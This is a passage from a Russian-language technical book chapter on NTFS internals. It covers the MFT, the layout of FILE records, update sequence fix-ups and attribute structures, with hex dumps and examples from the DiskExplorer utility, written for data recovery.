□ контекстная помощь к программе Disk Explorer также содержит достаточно подробное описание файловой системы. Следует, правда, отметить, что это описание организовано на редкость бестолково и хаотично. Для упрощения навигации по тексту рекомендуется декомпилировать chm-файл в обычный текст, вручную преобразовав его в документ Microsoft Word, pdf, или любой другой симпатичный вам формат.

Наконец, вы можете воспользоваться этой главой. Тем не менее, наличие документации Linux-NTFS Project все же очень желательно, так как по ходу изложения материала данной главы я буду часто ссылаться на нее.

Версии NTFS

Служебные структуры файловой системы NTFS не остаются постоянными, а слегка меняются от одной версии Windows NT к другой (см. табл. 6.1). Этот факт следует принять во внимание при использовании автоматизированных "докторов". Столкнувшись с более свежей версией NTFS, "доктор", не оснащенный мощным искусственным интеллектом, может запутаться в измененных структурах и разрушить вполне здоровый том.

Таблица 6.1. Определение версии NTFS по версии Windows

Версия NTFS	Операционная система	Условное обозначение
1.2	Windows NT	NT
3.0	Windows 2000	W2K
3.1	Windows XP	XP

Совет

Как быстро узнать тип текущего раздела — FAT или NTFS? Это очень просто — достаточно попробовать создать в его корневом каталоге файл $mft — если он будет создан успешно, то это FAT. Если создать файл с таким именем в корневом каталоге диска невозможно, значит, этот диск отформатирован для использования NTFS. Чтобы быстро определить версию NTFS, попробуйте создать в корневом каталоге диска файл $Extend. Если такой файл будет создан успешно, то версия файловой системы — 3.0 или выше.

Взгляд на NTFS с высоты птичьего полета

Основным структурным элементом всякой файловой системы является том (volume), в случае с FAT совпадающий с разделом (partition), о котором мы говорили в прошлой главе. NTFS поддерживает тома, состоящие из нескольких разделов (рис. 6.1). Подробнее схему отображения томов на разделы мы обсудим в следующей главе, а пока будем для простоты считать, что том представляет собой отформатированный раздел (то есть раздел содержащий служебные структуры файловой системы).

Рис. 6.1. Обычный (а) и распределенный (б) тома

Большинство файловых систем трактуют том как совокупность файлов, свободного дискового пространства и служебных структур файловой системы, но в NTFS все служебные структуры представлены файлами, которые (как это и положено файлам) могут находиться в любом месте тома, при необходимости фрагментируя себя на несколько частей.

Основным служебным файлом является главная файловая таблица, $MFT (Master File Table) — своеобразная база данных, хранящая информацию обо всех файлах тома — их именах, атрибутах, способе и порядке размещения на диске. Каталог также является файлом особого типа, со списком принадлежащих ему файлов и вложенных подкаталогов. Важно подчеркнуть, что в MFT присутствуют все файлы, находящиеся во всех подкаталогах тома, поэтому для восстановления диска наличия файла $MFT будет вполне достаточно.

Остальные служебные файлы, называемые метафайлами (metafiles) или метаданными (metadata), всегда имеют имена, начинающиеся со знака доллара ($), и носят сугубо вспомогательный характер, интересный только самой файловой системе. К ним, в первую очередь, относится: $LogFile — файл транзакций, $Bitmap — карта свободного/занятого пространства, $BadClust — перечень плохих кластеров и т.д. Более подробная информация о них будет приведена далее в этой главе. Текущие версии Windows блокируют доступ к служебным файлам с прикладного уровня (даже с правами администратора!), и всякая попытка открытия или создания такого файла в корневом каталоге обречена на неудачу.

Классическое определение, данное в учебниках информатики, отождествляет файл с именованной записью на диске. Большинство файловых систем добавляет к этому понятие атрибута (attribute) — некоторой вспомогательной характеристики, описывающей время создания, права доступа и т.д. В NTFS имя файла, данные файла и его атрибуты полностью уравнены в правах. Иначе говоря, всякий файл NTFS представляет собой совокупность атрибутов, каждый из которых хранится как отдельный поток байтов. Поэтому, во избежание путаницы, атрибуты, хранящие данные файла, часто называют потоками (streams).

Каждый атрибут состоит из тела (body) и заголовка (header). Атрибуты подразделяются на резидентные (resident) и нерезидентные (non-resident). Резидентные атрибуты хранятся непосредственно в $MFT, что существенно уменьшает грануляцию дискового пространства и сокращает время доступа. Нерезидентные атрибуты хранят в $MFT лишь свой заголовок, описывающий порядок размещения атрибута на диске.

Назначение атрибута определяется его типом (type), представляющим собой четырехбайтное шестнадцатеричное значение. При желании атрибуту можно дать еще и имя (name), состоящее из символов, входящих в соответствующее пространство имен (namespace). Подавляющее большинство файлов имеет, по меньшей мере, три атрибута, к числу которых относятся: стандартная информация о файле (время создания, модификации, последнего доступа, права доступа) хранится в атрибуте типа 10h, условно обозначаемом $STANDARD_INFORMATION. Ранние версии Windows NT позволяли обращаться к атрибутам по их условным обозначениям, но Windows 2000 и Windows XP лишены этой возможности. Полное имя файла (не путать с путем!) хранится в атрибуте типа 30h ($FILE_NAME). Если у файла есть одно или несколько альтернативных имен (например, имя MS-DOS), таких атрибутов может быть и несколько. Здесь же хранится ссылка (file reference) на родительский каталог, позволяющая разобраться, к какому каталогу принадлежит данный файл или подкаталог. По умолчанию данные файла хранятся в безымянном атрибуте типа 80h ($DATA). Однако при желании прикладные программы могут создавать дополнительные потоки данных, отделяя имя атрибута от имени файла знаком двоеточия (например: ECHO ххх > file:attr1; ECHO yyy > file:attr2; more < file:attr1; more < file:attr2).

Изначально в NTFS была заложена способность индексации любых атрибутов, значительно сокращающая время поиска файла по заданному списку критериев (например, времени последнего доступа). Индексы хранятся в виде двоичных деревьев, поэтому среднее время выполнения запроса оценивается как O(lg n). На практике в существующих драйверах NTFS реализована индексация лишь по имени файла. Как уже говорилось ранее, каталог представляет собой файл особого типа — файл индексов. В отличие от FAT, где файл каталога представляет собой единственный источник данных об организации файлов, в NTFS файл каталога используется лишь для ускорения доступа к содержимому каталога. Он не является обязательным, так как ссылка на родительский каталог всякого файла в обязательном порядке присутствует в атрибуте его имени ($FILE_NAME).

Каждый атрибут может быть зашифрован, разрежен или сжат. Техника работы с такими атрибутами выходит далеко за рамки первичного знакомства с организацией файловой системы и будет рассмотрена позднее. Пока же рассмотрим углубленно фундамент файловой системы NTFS — структуру $MFT.

Главная файловая таблица

В процессе форматирования логического раздела в его начале создается так называемая зона MFT (рис. 6.2). По умолчанию она занимает 12,5% от емкости тома (а не 12%, как утверждается во многих публикациях), хотя, в зависимости от значения параметра NtfsMftZoneReservation, она может составлять 25%, 37% или 50%.

Рис. 6.2. Структура тома, отформатированного под NTFS

В этой области расположен файл $MFT, изначально занимающий порядка 64 секторов и растущий от начала зоны MFT к ее концу по мере создания новых пользовательских файлов и каталогов. Чем больше файлов содержится на томе, тем больше размер MFT. Приблизительный размер файла MFT можно оценить по следующей формуле: sizeof (FILE Record) * N Files, где sizeof(FILE Record) обычно составляет 1 Кбайт, а N Files — полное количество файлов и подкаталогов раздела, включая недавно удаленные.

Для предотвращения фрагментации файла $MFT зона MFT удерживается зарезервированной вплоть до полного исчерпания свободного пространства тома, затем незадействованный "хвост" зоны MFT усекается в два раза, освобождая место для пользовательских файлов. Этот процесс может повторяться многократно, вплоть до полной отдачи всего зарезервированного пространства. Решение красивое, хотя и не новое. Многие из файловых систем восьмидесятых годов прошлого века позволяли резервировать заданное дисковое пространство в хвосте активных файлов, сокращая их фрагментацию (причем любых файлов, а не только служебных). Например, такая способность была у DOS 3.0, разработанной для персональных компьютеров типа "Агат". Может быть, кто-то из вас помнит такую машину?

Когда файл $MFT достигает границ зоны MFT, в ходе своего последующего роста он неизбежно фрагментируется, вызывая обвальное падение производительности файловой системы. При этом стоит заметить, что подавляющее большинство дефрагментаторов файл $MFT не обрабатывают! А ведь API дефрагментации, встроенный в штатный драйвер NTFS, обеспечивает такую возможность!

Примечание

Утилиту дефрагментации файла $MFT, а также подробное описание принципов ее работы, можно найти на сайте Марка Руссиновича (http://www.sysinternals.com). Но, как бы там ни было, заполнять том более чем на 88% его емкости категорически не рекомендуется!

При необходимости файл $MFT может быть перемещен в любую часть диска, и тогда в начале тома его уже не окажется. Стартовый адрес файла $MFT хранится в загрузочном секторе по смещению 30h байт от его начала (см. описание структуры загрузочного сектора в гл. 5). В подавляющем большинстве случаев этот адрес ссылается на четвертый кластер.

Файл $MFT представляет собой массив записей типа FILE Record (в терминологии UNIX они называются inodes), каждая из которых описывает соответствующий ей файл или подкаталог. На практике один файл или подкаталог полностью описывается единственной записью типа FILE Record, хотя в теории этих записей может потребоваться и несколько.

Для ссылки на одну файловую запись из другой используется ее порядковый номер (он же индекс) в файле $MFT, отсчитываемый от нуля. Файловая ссылка (file reference) состоит из двух частей (см. табл. 6.2) — 48-битного индекса и 16-битного номера последовательности (sequence number).

Таблица 6.2. Структура файловой ссылки

Смещение	Размер (байт)	Описание
00h	6	Индекс файловой записи (FILE record number), отсчитываемый от нуля
06h	2	Номер последовательности (sequence number)

При удалении файла или каталога соответствующая ему файловая последовательность помечается как неиспользуемая. При создании новых файлов записи, помеченные как неиспользуемые, могут задействоваться вновь, при этом счетчик номера последовательности, хранящийся внутри файловой записи, увеличивается на единицу. Этот механизм позволяет отслеживать "мертвые" ссылки на уже удаленные файлы. Номер последовательности внутри файловой ссылки в этом случае будет отличаться от номера последовательности соответствующей файловой записи. Этой проверкой занимается утилита chkdsk, но автоматически она, насколько мне известно, не выполняется.

Первые 12 записей в MFT всегда занимают служебные метафайлы: $MFT (собственно, сам файл $MFT), $MFTMirr (зеркало $MFT), $LogFile (файл транзакций), $Volume (сведения о дисковом томе), $AttrDef (определения атрибутов), '.' (корневой каталог), $Bitmap (карта свободного пространства), $Boot (системный загрузчик), $BadClus (перечень плохих кластеров) и т.д. Более подробно эти записи описаны в табл. 6.11.

Первые четыре записи настолько важны, что продублированы в специальном файле $MFTMirr, находящемся примерно в середине тома (точный адрес этого файла хранится в загрузочном секторе по смещению 38h байт от его начала). Вопреки своему названию, файл $MFTMirr — это отнюдь не "зеркало" всего файла $MFT, а всего лишь резервная копия первых четырех его элементов.

Записи с 12 по 15 помечены как используемые, в то время как в действительности они пусты. Как несложно догадаться, они зарезервированы для использования в будущем. Записи с 16 по 23 не задействованы и честно помечены как неиспользуемые.

Начиная с 24 записи, располагаются пользовательские файлы и каталоги. Четыре метафайла, появившихся в Windows 2000 — $ObjId, $Quota, $Reparse и $UsnJrnl, — могут располагаться в любой записи, номер которой равен 24 или больше (не забудьте, что нумерация файловых записей начинается с нуля).

Вот и вся теоретическая информация, необходимая на первых порах. Теперь можно приступать к практическому знакомству с NTFS. Для начала запустим утилиту DiskExplorer от Runtime Software, не забывая о том, что она требует прав администратора. В меню File найдем пункт Drive, и в появившемся диалоговом окне выберем логический диск, который требует редактирования. Затем из меню Goto выберем пункт Mft, заставляя DiskExplorer перейти к MFT, автоматически меняя режим отображения на наиболее естественный (рис. 6.3). Как вариант, можно нажать клавишу <F6> (View as File Entry) и пропустить несколько первых секторов нажатием клавиши <Page Down>.

Рис. 6.3. Утилита DiskExplorer отображает главную файловую запись в естественном формате

Для каждого из файлов DiskExplorer сообщает следующее.

□ Номер сектора, к которому данная файловая запись принадлежит. Обратите внимание, что номера секторов монотонно увеличиваются на 2, подтверждая тот факт, что размер одной файловой записи равен 1 Кбайт, хотя на практике можно столкнуться и с другими значениями. Для удобства информация отображается сразу в двух системах счисления — шестнадцатеричной и десятичной.

□ Основное имя файла/каталога (то есть имя файла из заголовка файловой записи). Стоит напомнить, что некоторые файлы имеют несколько альтернативных имен, более подробная информация о которых будет приведена далее в данной главе. Если имя файла или каталога зачеркнуто, это означает, что он был удален, но соответствующая ему файловая запись все еще цела. Чтобы извлечь файл с диска (не важно, удаленный или нет), подведите к нему курсор и нажмите клавиатурную комбинацию <Ctrl>+<T> для просмотра его содержимого в шестнадцатеричном виде или <Ctrl>+<S> — для сохранения файла на диск. То же самое можно сделать и через контекстное меню, выбрав подпункт Recovery. При нажатии клавиатурной комбинации <Ctrl>+<C> в буфер обмена копируется последовательность кластеров, занятых файлом, например: DISKEXPL:K:1034240-1034240.

□ Тип файловой записи, указывающий, файл это или каталог.

□ Атрибуты файла или каталога: a (archive) — архивный, r (read-only) — защищенный от записи, то есть доступный только для чтения, h (hidden) — скрытый, s (system) — системный, l (label) — метка тома, d (directory) — каталог, с (compressed) — сжатый.

□ Размер файла в байтах в десятичной системе счисления (не для каталогов!).

□ Дату и время модификации файла или каталога.

□ Номер первого кластера файла или каталога (или resident — для полностью резидентных файлов и каталогов).

□ Перечень типов атрибутов NTFS, имеющихся у файла или каталога, записанных в шестнадцатеричной нотации (обычно эта строка имеет следующий вид: 10 30 80 — атрибут стандартной информации, атрибут имени и атрибут данных файла). Более подробная информация по данному вопросу будет приведена далее в этой главе.

□ Индекс файловой записи в MFT, выраженный в шестнадцатеричной и десятичной системах счисления и следующий за словом No: (сокращение от Number — номер).

□ Индекс файловой записи родительского каталога, выраженный в шестнадцатеричной и десятичной системах счисления (5h — если файл принадлежит к корневому каталогу). Для быстрого перемещения по файловым записям выберите в меню Goto пункт Mft no и введите требуемый индекс в шестнадцатеричной или десятичной нотации.

□ Для нерезидентных файлов или каталогов — перечень кластеров, занятых файлом в закодированном виде (а зря — могли бы и декодировать). Схема кодирования кластеров подробно описана далее в данной главе.

Прежде чем продолжать чтение, попробуйте поэкспериментировать с файлами MFT (особенно фрагментированными). Посмотрите, как создаются и удаляются записи MFT. Лучше всего это делать на диске, содержащем небольшое количество файлов и каталогов. Чтобы не форматировать логический диск, создайте виртуальный (благо количество оперативной памяти современных компьютеров это позволяет).

Файловые записи

Благодаря наличию утилиты DiskExplorer от Runtime Software с файловыми записями практически никогда не приходится работать вручную. Тем не менее, знание их структуры нам не помешает.

Структурно файловая запись состоит из заголовка (header) и одного или нескольких атрибутов (attributes) произвольной длины, завершаемых маркером конца (end marker) — четырехбайтным шестнадцатеричным значением FFFFFFFFh (см. листинг 6.1). Несмотря на то, что количество атрибутов и их длина меняются от одной файловой записи к другой, размер самой структуры FILE Record строго фиксирован. В большинстве случаев он равен 1 Кбайт (это значение хранится в файле $boot, причем первый байт файловой записи всегда совпадает с началом сектора).

Внимание!

Не следует путать файл $boot с загрузочным сектором (boot sector).

Если реальная длина атрибутов меньше размеров файловой записи, то ее "хвост" просто не используется. Если же атрибуты не умещаются в отведенное им пространство, создается дополнительная файловая запись (extra FILE Record), ссылающаяся на свою предшественницу.

Листинг 6.1. Структура файловой записи

FILE Record

 Header                ; Заголовок

 Attribute 1           ; Атрибут 1

 Attribute 2           ; Атрибут 2

 ...                   ; ...

 Attribute N           ; Атрибут N

End Marker (FFFFFFFFh) ; Маркер конца

Первые четыре байта заголовка заняты "магической последовательностью" FILE, сигнализирующей о том, что мы имеем дело с файловой записью типа FILE Record. При восстановлении сильно фрагментированного файла $MFT это обстоятельство играет решающую роль, поскольку позволяет отличить сектора, принадлежащие MFT, от всех остальных секторов.

Следом за сигнатурой идет 16-разрядный указатель, содержащий смещение последовательности обновления (update sequence). Под "указателем" здесь и до конца раздела подразумевается смещение от начала сектора, отсчитываемое от нуля и выраженное в байтах. В Windows NT и Windows 2000 это поле всегда равно 002Ah, поэтому для поиска файловых записей можно использовать сигнатуру FILE*\x00, что уменьшает вероятность ложных срабатываний. В Windows XP и более новых версиях последовательность обновления хранится по смещению 002Dh, и поэтому сигнатура приобретает следующий вид: FILE-\x00.

Размер заголовка также варьируется от одной операционной системы к другой, и в явном виде нигде не хранится. Вместо этого в заголовке присутствует указатель на первый атрибут, содержащий его смещение в байтах относительно начала файловой записи и расположенный по смещению 14h байт от начала сектора. Смещения последующих атрибутов (если они есть) определяются путем сложения размеров всех предыдущих атрибутов (размер каждого из атрибутов содержится в его заголовке) со смещением первого атрибута. За концом последнего атрибута находится маркер конца — значение FFFFFFFFh.

Длина файловой записи хранится в двух полях. Тридцатидвухразрядное поле реального размера (real size), находящееся по смещению 18h байт от начала сектора, содержит совокупный размер заголовка, всех его атрибутов и маркера конца, округленный по 8-байтной границе. Тридцатидвухразрядное поле выделенного размера (allocated size), находящееся по смещению 1Ch байт от начала сектора, содержит действительный размер файловой записи в байтах, округленный по размеру сектора. Документация Linux-NTFS Project (версия 0.4) утверждает, что выделенный размер должен быть кратен размеру кластера, но на практике это не так. Например, на моей машине длина поля выделенного размера равна четверти кластера.

16-разрядное поле флагов, находящееся по смещению 16h байт от начала сектора, в подавляющем большинстве случаев принимает одно из следующих трех значений: 00h — данная файловая запись не используется или ассоциированный с ней файл или каталог удален, 01h — файловая запись используется и описывает файл, 02h — файловая запись используется и описывает каталог.

64-разрядное поле, находящееся по смещению 20h байт от начала сектора, содержит индекс базовой файловой записи. Для первой файловой записи это поле всегда равно нулю, а для всех последующих, расширенных записей — индексу первой файловой записи. Расширенные файловые записи могут находиться в любых областях MFT, не обязательно расположенных рядом с основной записью. Следовательно, необходим какой-то механизм, обеспечивающий быстрый поиск расширенных файловых записей, принадлежащих данному файлу (просматривать всю MFT было бы слишком нерационально). Этот механизм существует, и основан он на ведении списков атрибутов ($ATTRIBUTE_LIST). Список атрибутов представляет собой специальный атрибут, добавляемый к первой файловой записи и содержащий индексы расширенных записей. Формат списка атрибутов будет подробно описан далее в этой главе.

Основные поля заголовка файловой записи описаны в табл. 6.3. Остальные поля заголовка файловой записи не столь важны, и поэтому здесь они не рассматриваются. При необходимости обращайтесь к документации "Linux-NTFS Project".

Таблица 6.3. Структура заголовка файловой записи (FILE Record)

Смещение	Размер (байт)	ОС	Описание
00h	4	Любая	Сигнатура FILE
04h	2	Любая	Смещение номера последовательности обновления (update sequence number)
06h	2	Любая	Размер (в словах) номера последовательности обновления и массива обновления (Update Sequence Number & Array), условно S
08h	8	Любая	Номер последовательности файла транзакций ($LogFile Sequence Number или LSN)
10h	2	Любая	Номер последовательности (sequence number)
12h	2	Любая	Счетчик жестких ссылок (hard link)
14h	2	Любая	Смещение первого атрибута
16h	2	Любая	Флаги
			Значение	Описание
			0x00	Файловая запись не используется
			0x01	Файловая запись используется и описывает файл
			0x02	Файловая запись используется и описывает каталог
			0x04	За справками обращайтесь к Биллу Гейтсу — вероятно, только он это знает
			0x08	За справками обращайтесь к Биллу Гейтсу — вероятно, только он это знает
18h	4	Любая	Реальный размер (real size) файловой записи
1Ch	4	Любая	Выделенный размер (allocated size) файловой записи
20h	8	Любая	Ссылка (file reference) на базовую файловую запись (base FILE record) или ноль, если данная файловая запись является базовой
28h	2	Любая	Идентификатор следующего атрибута (next attribute ID)
2Ah	2	Windows XP	Используется для выравнивания
2Ch	4	Windows XP	Индекс данной файловой записи (number of this MFT record)
	2	Любая	Номер последовательности обновления (update sequence number)
	2S-2	Любая	Массив последовательности обновления (update sequence array)

Последовательность обновления

Будучи очень важными компонентами файловой системы, $MFT, INDEX и $LogFile нуждаются в механизме контроля целостности своего содержимого. Традиционно для этого используются коды обнаружения и коррекции ошибок (ECC/EDC codes). Однако на тот момент, когда проектировалась NTFS, процессоры были не настолько быстрыми, как теперь, и расчет корректирующих кодов занимал значительное время, существенно снижающее производительность файловой системы. Именно поэтому от использования корректирующих кодов пришлось отказаться. Вместо них разработчики NTFS применили так называемые последовательности обновления (update sequences), также называемые fix-ups.

В конец каждого из секторов, слагающих файловую запись (INDEX Record, RCRD Record или RSTR Record), записывается специальный 16-байтный номер последовательности обновления (update sequence number), дублируемый в заголовке файловой записи. При каждой операции чтения два последних байта сектора сверяются с соответствующим полем заголовка и, если драйвер NTFS обнаруживает расхождение, данная файловая запись считается недействительной.

Основное назначение последовательностей обновления — защита от "обрыва записи". Если в процессе записи сектора на диск исчезнет питающее напряжение, может случиться так, что часть файловой записи будет записана успешно, а другая часть — сохранит прежнее содержимое (файловая запись, как мы помним, обычно состоит из двух секторов). После восстановления питания драйвер файловой системы не может уверенно определить, была ли файловая запись записана целиком. Вот тут-то последовательности обновления и выручают! При каждой перезаписи сектора последовательность обновления увеличивается на единицу. Потому, если произошел обрыв записи, значение последовательности обновления, находящейся в заголовке файловой записи, не совпадет с последовательностью обновления, расположенной в конце сектора.

Оригинальное содержимое, расположенное "под" последовательностью обновления, хранится в специальном массиве обновления (update sequence array), расположенном в заголовке файловой записи непосредственно за концом смещения последовательности обновления (update sequence number). Для восстановления файловой записи в исходный вид необходимо извлечь из заголовка указатель на смещение последовательности обновления (он хранится по смещению 04h байт от начала заголовка) и сверить лежащее по этому адресу 16-байтное значение с последним словом каждого из секторов, слагающих файловую запись (INDEX Record, RCRD Record или RSTR Record). Если они не совпадут, значит, соответствующая структура данных повреждена. Использовать такие структуры следует очень осторожно (на первых порах лучше не использовать вообще).

По смещению 006h от начала сектора находится 16-разрядное поле, хранящее совокупный размер номера последовательности обновления вместе с массивом последовательности обновления (sizeof (update sequence number) + sizeof(update sequence array)), выраженный в словах (не в байтах!). Так как размер номера последовательности обновления всегда равен одному слову, то размер массива последовательности обновления, выраженный в байтах, должен вычисляться следующим образом: (update sequence number & update sequence array - 1)*2. Таким образом, смещение массива оригинального содержимого равно: (offset to update sequence number) + 2. В Windows NT и Windows 2000 номер последовательности обновления всегда располагается по смещению 2Ah от начала заголовка файловой записи или индексного заголовка, а поле update sequence array — по смещению 2Ch. В Windows XP и более новых операционных системах эти значения располагаются по смещениям 2Dh и 2Fh соответственно.

Первое слово массива последовательности обновления соответствует последнему слову первого сектора файловой записи или индексной записи. Второе — последнему слову второго сектора и т.д. Для восстановления сектора в исходный вид необходимо вернуть все элементы массива последовательности обновления на их законные места (естественно, модифицируется не сам сектор, а его копия в памяти).

Чтобы проиллюстрировать сказанное выше, рассмотрим пример, приведенный в листинге 6.2.

Листинг 6.2. Оригинальная файловая запись до восстановления

--> начало первого сектора FILE Record

00000000: 46 49 4C 45-2A 00 03 00-7C 77 1A 04-02 00 00 00 FILE*...|w......

00000010: 01 00 02 00-30 00 01 00-28 02 00 00-00 04 00 00 ....0...(.......

00000020: 00 00 00 00-00 00 00 00-06 00 06 00-00 00 47 11 ..............G.

...

000001F0: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 06 00 ................

<-- конец первого сектора FILE Record

...

000003F0: 07 СС E1 0D-00 09 00 00-FF FF FF FF-82 79 06 00 .Іа.....    Вy..

<-- конец второго сектора FILE Record

Сигнатура FILE указывает на начало файловой записи, следовательно, по смещению 04h байт будет расположен 16-разрядный указатель на номер последовательности обновления. В данном случае он равен 002Ah. Очень хорошо! Переходим по смещению 002Ah и видим, что здесь лежит слово 0006h. Перемещаемся в конец сектора и сверяем его с последними двумя байтами. Как и предполагалось, они совпадают. Повторяем ту же самую операцию со следующим сектором. Собственно говоря, количество секторов может и не равняться двум. Чтобы не гадать на кофейной гуще, необходимо извлечь 16-разрядное значение, расположенное по смещению 06h от начала файловой записи (в данном случае оно равно 0003h) и вычесть из него единицу. Действительно, получается два (сектора).

Теперь нам необходимо найти массив последовательности обновления, хранящий оригинальное значение последнего слова каждого из секторов. Смещение массива обновления равно значению указателя на последовательность обновления увеличенной на два, т.е. в данном случае 002Ah + 02h == 002Ch. Извлекаем первое слово (в данном случае равное 00h 00h) и записываем его в конец первого сектора. Извлекаем следующее слово (47h 11h) и записываем его в конец второго сектора.

В результате восстановленный сектор будет выглядеть, как показано в листинге 6.3.

Листинг 6.3. Восстановленная файловая запись

--> Начало первого сектора файловой записи

00000000: 46 49 4C 45-2A 00 03 00-7C 77 1A 04-02 00 00 00 FILE*...|w......

00000010: 01 00 02 00-30 00 01 00-28 02 00 00-00 04 00 00 ....0...(.......

00000020: 00 00 00 00-00 00 00 00-06 00 06 00-00 00 47 11 ..............G.

...

000001F0: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00 ................

<-- Конец первого сектора файловой записи

000003F0: 07 СС E1 0D-00 09 00 00-FF FF FF FF-82 79 47 11 .Іа.....    ВyG.

<-- Конец второго сектора файловой записи

Внимание!

FILE Record, INDEX Record, RCRD Record или RSTR Record искажены последовательностями обновления и в обязательном порядке должны быть восстановлены перед их использованием, в противном случае вместо актуальных данных вы получите мусор!

Атрибуты

Структурно всякий атрибут состоит из атрибутного заголовка (attribute header) и тела атрибута (attribute body). Заголовок атрибута всегда хранится в файловой записи, расположенной внутри MFT. Тела резидентных атрибутов хранятся там же. Нерезидентные атрибуты хранят свое тело вне MFT, в одном или нескольких кластерах, перечисленных в заголовке данного атрибута в специальном списке. Если 8-разрядное поле, расположенное по смещению 08h байт от начала атрибутного заголовка, равно нулю, то атрибут считается резидентным, а если единице, то атрибут нерезидентен. Любые другие значения недопустимы.

Первые четыре байта атрибутного заголовка определяют его тип. Тип атрибута, в свою очередь, определяет формат представления тела атрибута. В частности, тело атрибута данных (тип: 80h — $DATA) представляет собой "сырую" последовательность байт. Тело атрибута стандартной информации (тип: 10h — $STANDARD_INFORMATION) описывает время его создания, права доступа и т.д. Более подробно эта тема будет рассмотрена далее в данной главе.

Следующие четыре байта заголовка содержат длину атрибута, выражаемую в байтах. Длина нерезидентного атрибута равна сумме длин его тела и заголовка, а длина резидентного атрибута равна длине его заголовка. Если к смешению атрибута добавить его длину, мы получим указатель на следующий атрибут (или маркер конца, если текущий атрибут — последний в цепочке).

Длина тела резидентных атрибутов, выраженная в байтах, хранится в 32- разрядном поле, расположенном по смещению 10h байт от начала атрибутного заголовка. 16-разрядное поле, следующее за его концом, хранит смещение резидентного тела, отсчитываемое от начала атрибутного заголовка. С нерезидентными атрибутами в этом плане все намного сложнее, и для хранения длины их тела используется множество полей. Реальный размер тела атрибута (real size of attribute), выраженный в байтах, хранится в 64-разрядном поле, находящемся по смещению 30h байт от начала атрибутного заголовка. Следующее за ним 64-разрядное поле хранит инициализированный размер потока (initialized data size of the stream), выраженный в байтах. Судя по всему, инициализированный размер потока всегда равен реальному размеру тела атрибута. 64-разрядное поле, расположенное по смещению 28h байт от начала атрибутного заголовка, хранит выделенный размер (allocated size of attribute), выраженный в байтах и равный реальному размеру тела атрибута, округленному до размера кластера (в большую сторону).

Два 64-разрядных поля, расположенные по смещениям 10h и 18h байт от начала атрибутного заголовка, задают первый (starting VCN) и последний (last VCN) номера виртуального кластера, принадлежащего телу нерезидентного атрибута. Виртуальные кластеры представляют собой логические номера кластеров, не зависящие от своего физического расположения на диске. В подавляющем большинстве случаев номер первого кластера тела нерезидентного атрибута равен нулю, а последний — количеству кластеров, занятых телом атрибута, уменьшенному на единицу. 16-разрядное поле, расположенное по смещению 20h от начала атрибутного заголовка, содержит указатель на массив Data Runs, расположенный внутри этого заголовка и описывающий логический порядок размещения нерезидентного тела атрибута на диске.

Каждый атрибут имеет свой собственный идентификатор (attribute ID), уникальный для данной файловой записи и хранящийся в 16-разрядном поле, расположенном по смещению 0Eh от начала атрибутного заголовка.

Если атрибут имеет имя (attribute Name), то 16-разрядное поле, расположенное по смещению 0Ah байт от атрибутного заголовка, содержит указатель на него. Для безымянных атрибутов оно равно нулю (большинство атрибутов имен не имеют). Имя атрибута хранится в атрибутном заголовке в формате UNICODE, а его длина определяется 8-разрядным полем, расположенным по смещению 09h байт от начала атрибутного заголовка.

Если тело атрибута сжато, зашифровано или разрежено, 16-разрядное поле флагов, расположенное по смещению 0Ch байт от начала атрибутного заголовка, не равно нулю.

Основные поля резидентных и нерезидентных атрибутов кратко описаны в табл. 6.4 и 6.5. Остальные поля не играют существенной роли, и потому здесь они не рассматриваются.

Таблица 6.4. Структура резидентного атрибута

Смещение	Размер (байт)	Значение	Описание
00h	4		Тип атрибута (например, 0x10, 0x60, 0xB0)
04h	4		Длина атрибута, включая этот заголовок
08h	1	00h		Флаг нерезидентности (non-resident flag)
09h	1	N	Длина имени атрибута (ноль, если атрибут безымянный)
0Ah	2	18h	Смещение имени (ноль, если атрибут безымянный)
0Ch	2	00h	Флаги
			Значение	Описание
			0001h	Сжатый атрибут (compressed)
			4000h	Зашифрованный атрибут (encrypted)
			8000h	Разреженный атрибут (sparse)
0Eh	2		Идентификатор атрибута (attribute ID)
10h	4	L	Длина тела атрибута, без заголовка
14h	2	2N+18h	Смещение тела атрибута
16h	1		Индексный флаг
17h	1	00h	Используется для выравнивания
18h	2N	UNICODE	Имя атрибута (если есть)
2N+18h	L		Тело атрибута

Таблица 6.5. Структура нерезидентного атрибута

Смещение	Размер (байт)	Значение	Описание
00h	4		Тип атрибута (например, 0x20, 0x80)
04h	4		Длина атрибута, включая этот заголовок
08h	1	01h	Флаг нерезидентности (non-resident flag)
09h	1	N	Длина имени атрибута (ноль, если атрибут безымянный)
0Ah	2	40h	Смещение имени (ноль, если атрибут безымянный)
0Ch	2		Флаги
			Значение	Описание
			0001h	Сжатый атрибут (compressed)
			4000h	Зашифрованный атрибут (encrypted)
			8000h	Разреженный атрибут (sparse)
0Eh	2		Идентификатор атрибута (attribute ID)
10h	8		Начальный виртуальный кластер (starting VCN)
18h	8		Конечный виртуальный кластер (last VCN)
20h	2	2N+40h	Смещение списка отрезков (data runs)
22h	2		Размер блока сжатия (compression unit size), округленный до 4 байт в большую сторону
24h	4	00h	Используется для выравнивания
28h	8		Выделенный размер (allocated size), округленный до размера кластера
30h	8		Реальный размер (real size)
38h	8		Инициализированный размер потока (initialized data size of the stream)
40h	2N	UNICODE	Имя атрибута (если есть)
2N+40h	…		Список отрезков (data runs)

Типы атрибутов

NTFS поддерживает большее количество предопределенных типов атрибутов, перечисленных в табл. 6.6. Тип атрибута определяет его назначение и формат представления тела. Полное описание всех атрибутов заняло бы не одну главу, а целую книгу, поэтому здесь приводятся лишь наиболее "ходовые" из них, а за информацией об остальных обращайтесь к документации Linux-NTFS Project.

Таблица 6.6. Основные типы атрибутов

Значение	ОС	Условное обозначение	Описание
010h	Любая	$STANDARD_INFORMATION	Стандартная информация о файле (время, права доступа)
020h	Любая	$ATTRIBUTE_LIST	Список атрибутов
030h	Любая	$FILE_NAME	Полное имя файла
040h	Windows NT	$VOLUME_VERSION	Версия тома
040h	Windows 2000	$OBJECT_ID	Глобально уникальный идентификатор (GUID) и прочие ID
050h	Любая	$SECURITY_DESCRIPTOR	Дескриптор безопасности и списки прав доступа (ACL)
060h	Любая	$VOLUME_NAME	Имя тома
070h	Любая	$VOLUME_INFORMATION	Информация о томе
080h	Любая	$DATA	Основные данные файла
090h	Любая	$INDEX_ROOT	Корень индексов
0A0h	Любая	$INDEX_ALLOCATION	Ветви (sub-nodes) индекса
0B0h	Любая	$BITMAP	Карта свободного пространства
0C0h	Windows NT	$SYMBOLIC_LINK	Символическая ссылка
0C0h	Windows 2000	$REPARSE_POINT	Для сторонних производителей
